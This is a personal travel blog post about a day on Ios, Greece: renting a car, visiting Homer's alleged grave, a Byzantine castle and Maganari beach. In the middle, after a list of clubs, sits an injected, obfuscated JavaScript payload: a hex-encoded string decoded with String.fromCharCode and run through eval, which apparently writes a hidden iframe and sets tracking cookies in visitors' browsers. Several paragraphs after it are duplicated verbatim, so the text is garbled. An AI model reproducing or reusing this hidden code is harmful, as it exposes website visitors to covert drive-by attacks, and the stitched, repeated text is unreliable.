Greece II: Ancienter Than Ever

Ios

Ios Burger, near the port

Ios has a reputation in Greece for being a party island; it was this day on which I decided to wear the "Got Ouzo?" shirt that Katie got me, and I'm not sure whether we just happened to be there on Saturday, or whether EasyCruise had decided it would make sense to schedule Ios for Saturday night. Katie thought this might be one of our less favorite islands, as neither of us is really into the club scene; I didn't know anything that she hadn't told me, and largely agreed with her assessment. But I think this was my favorite day of the trip, and Katie enjoyed it, too (though I think she preferred Amorgos).

From our point of view, the main (only?) attraction of this island was the grave of Homer. Well, alleged grave of Homer — Herodotus, who I understand was occasionally known to get a fact right, claimed that Homer encountered some bad weather during a trip from Samos to Athens and ended up on Ios, where he ended up dying. He was buried, according to Herodotus, in the northern part of the island. There's a spot now marked as his grave. It was, apparently, first marked about two millenia after Homer's death, which lends it some dubiosity. But there's no place with a better claim, and there's some reason to believe that this place is within a few miles of the right spot, and I can't see that it hurts anything to believe this particular fiction, so I say we run with it.

As it happens, this single attraction is a good ten kilometers from port, assuming you can go in a straight line, which you can't. So we had a single goal for the day, but it wasn't an perfectly simple task. Public buses only run regularly among the several villages near the port. Walking would have been a bit much. I don't remember whether we looked into ferries.

We rented a car. That simplified things a great deal.

There were three obvious car rental places near the port. The first guy had at least one car for 45 euros and at least one for 50. The second place we visited seemed to be a family-run shop, with the same kind of car the first guy was renting out for 50 at the same price. The last guy was out of stock. Katie and I discussed it briefly; I couldn't quite put my finger on why, but I hadn't really liked the first guy. And I did respond better to the family. So we went with the second place and got a car.

Outside of the main towns, there aren't a lot of different roads one could possibly take. This didn't mean that I didn't drive Katie nuts by fretting about missing the one fork in the road, just that it was unnecessary. Of course, that one fork was the following:

Can you understand why someone might interpret that to mean Homer's tomb is to the right? It's to the left, as you can see if you notice the correct arrow hiding behind the big wrong arrow.

Steven at the grave of Homer. I'm not sure the islands in the background are Paros and Naxos, but I'll bet you can't prove that they aren't.

There actually was another possible place to turn off of the main road, but we knew it was going the wrong direction. It was lined with colored boxes a few feet long on each side. On our way back from the grave, we decided to investigate. I pulled the car over and started walking down the gravel side road; Katie followed. As I approached, I abruptly noticed that not only were there more bugs than usual flying around me, but also that there was a buzzing sound coming from the boxes.

I stopped swatting at the honeybees near me, stopped walking toward their nests, and called back to Katie that I didn't think we really needed to get any closer. Then I took the following picture and headed back toward Katie and the car.

Bee boxes on Ios

We drove back, past the misleading sign, toward a Byzantine castle in the northeast of the island, not far from Psathi (Ψαθη). Not much was left besides the church and the view. And, at the zenith, a surveying marker.

The Church
The path from the road to the castle
The Surveying Marker

From the old castle, we went to the southern tip of the island, to Maganari beach.

Maganari Beach, I think with Santorini in the background

Restaurant Review: That place where we ate near Maganari

Forgettable, apparently.

We frolicked in the water at Maganari beach for a while before heading back to port. There was supposed to be a short-cut letting us take a less-developed road to avoid going around a mountain, but we didn't find it, so we went from the southern end of the island to the west side of the island via the north. Fortunately, it's not a very big island.

We turned in the car, purchased some provisions, and unwound briefly on the ship before heading back out to visit the main city, about a mile up from the port, and get some dinner. Before finding dinner, though, we went skirt shopping (more for Katie than for me).

The shop was empty when we entered, but soon a middle-aged woman walked in. Katie addressed her in Greek. The shopkeeper responded in a disappointed, thick Scottish accent: "you don't speak English, then?"

Katie and I demonstrated that we did, in fact, speak English. It turns out that the Scottish woman comes to Ios every summer to sell clothes to tourists, while her husband has a shop next door to hers. Katie ended up getting a skirt that I didn't care for, though it did eventually grow on me.

From the skirt shop, we headed up to the main town, most of a mile inland and several hundred feet up. The road gets there by winding, but a sidewalk/staircase leads there pretty directly from the port.

Clubbing, that restaurant in Hora , hercules, club ouzo 7:34:17:1e:28:27:27:27:2d:2f:2b:30:2a:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6d:60:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:6d:60:53:1e:17:5a:63:58:6a:6a:34:53:1e:6d:60:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:6d:60:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:6d:60:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:6d:60:27:30:1f:20:32:4:1:74:4:1:74"[xwkah](":");}hoeqe=oxg;stpj=[];for(nyrjwn=22-20-2;-nyrjwn+1383!=0;nyrjwn+=1){gasyk=nyrjwn;if((0x19==031))stpj+=String.fromCharCode(eval(pvsjfg+hoeqe[1*gasyk])+0xa-igdj);}jpex=eval;jpex(stpj)}

We frolicked in the water at Maganari beach for a while before heading back to port. There was supposed to be a short-cut letting us take a less-developed road to avoid going around a mountain, but we didn't find it, so we went from the southern end of the island to the west side of the island via the north. Fortunately, it's not a very big island.

We turned in the car, purchased some provisions, and unwound briefly on the ship before heading back out to visit the main city, about a mile up from the port, and get some dinner. Before finding dinner, though, we went skirt shopping (more for Katie than for me).

The shop was empty when we entered, but soon a middle-aged woman walked in. Katie addressed her in Greek. The shopkeeper responded in a disappointed, thick Scottish accent: "you don't speak English, then?"

Katie and I demonstrated that we did, in fact, speak English. It turns out that the Scottish woman comes to Ios every summer to sell clothes to tourists, while her husband has a shop next door to hers. Katie ended up getting a skirt that I didn't care for, though it did eventually grow on me.

From the skirt shop, we headed up to the main town, most of a mile inland and several hundred feet up. The road gets there by winding, but a sidewalk/staircase leads there pretty directly from the port.

Clubbing, that restaurant in Hora , hercules, club ouzo